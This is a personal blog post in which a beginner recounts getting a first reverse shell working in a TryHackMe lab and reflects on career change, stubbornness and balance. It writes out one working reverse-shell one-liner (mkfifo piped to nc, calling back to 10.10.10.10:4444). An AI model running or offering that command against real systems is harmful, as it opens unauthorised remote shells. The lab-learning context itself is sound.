Reverse Shells, Regrets and Self-Reflection

listening on [any] 4444 ...

“Alright now I’ll just copy this one over…. CTRL+C” I mumble to myself half relieved that an hour of wrestling with the interface of a computer have finally paid off and I’ve just about got myself my very first reverse shell working.

“CTRL+V, simple” I proclaim this time as I paste a string of what seems like random text to the untrained (my) eye into the second VM I have running on THM (TryHackMe).

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.10.10 4444 >/tmp/f

I tab back to the first VM and met with,

listening on [any] 4444 ...

Waiting…

listening on [any] 4444 ...

More waiting…

listening on [any] 4444 ...

“#%@^#% nothing!” I let out a sigh which turns to a grunt towards the end, a sigh isn’t going to cut it for the amount of stress and frustration I need to dispose of.

I storm off to my hidden box of chewy lollies I hide up the top of my cupboard so my kids don’t get into them, grab a handful, sigh again, and the first few into my mouth, begin sucking, then, in an attempt to have at least one thing in the day go right in a reasonably timely manner, I forced them down my throat after only the bare minimum amount of chews.

I have been at this for over a month now, at the start progress in my learning seemed slow, then it sped up, now it feels like I’ve stopped dead in my tracks with an enormous rock wall in my way, intimidatingly with the words carved out “You shall not pass!”… in elvish or course

Why am I doing this to myself you may ask (or perhaps don’t care), why would somebody with three kids, no car, no house and living on the second floor of their grandmothers house put themself through the frustration of trying to land a job in a field they have no business being in when they should be out stacking shelves or digging holes on a construction site somewhere.

Well I’ve asked myself the same question numerous times and have come up with the same answer every time. It just feels right. Sure apart from a few years at a hotel desk my professional life working with computers is next to non, but that isn’t going to stop me from making another poor life decision! I have plenty of experience chasing dead end endeavors where before I began moving looked like prospective futures, although in hindsight that was probably just due to a lack of foresight.

So here I sit, with more foresight then I have had in the past but who is to say I’ve built up enough to make the right decisions both here and going forward? Who knows but I do know me, and very clearly remember the self-destructive, “press forward at all costs, don’t doubt your decisions and don’t think too much” attitude I have had in the past when standing at road-forks and making potentially (or not) life changing decisions.

Of course “press forward at all costs, don’t doubt your decisions and don’t think too much” are all great mind sets, but like anything in life, all things can be compared to honey. Lick it too much and it’s no longer sweet and may in-fact lead to the deterioration of your health, mental physical or otherwise. Balance is key and I have just recently come to terms with the fact I am lacking it.

But my “stubbornness” has it’s plus sides too, I did manage to get that reverse shell working in the end and oh boy did I have a blast cause havoc on THMs VM, I wrote whoami and “cd/lsed” my way through that VM like there was no tomorrow. When I was feeling brave I even “less/cated” a few .txt files too!

Now for the more computer literate folks out there my achievements may not seem like more than the random string of letters and numbers of my five year old, as he fills up page after page in all sorts of colorful crayons but like a small child showing their parents an adorably ugly picture of a rainbow cat and waiting for their due praise, I am out here on the big “World Wide Web” doing the same. Perhaps the parents will ignore the child or traumatize them for life with overly harsh critique, or they will over shower them with praise, treating it like some sort of modern Mona Lisa.

Where ever you sit on the scales you are where you are, and after years of trial and error I think I have finally got a grasp for where I am, and how I can re-distribute my weight in order shuffle my bottom closer towards the middle, and all the while I will continue walking the tight rope, and pray that if I fall the safety net below catches my fall.

Like the iceberg my struggles to get a reverse shell is only the surface of the hurdles to be jumped, the hoops to be crawled through, and walls to be climbed. I may get my foot caught every now and then, but I’ll be damned if I ever stop trying to decipher elvish script.

Thank you for reading and Fun to you

Christopher Booker (s4nsh11n)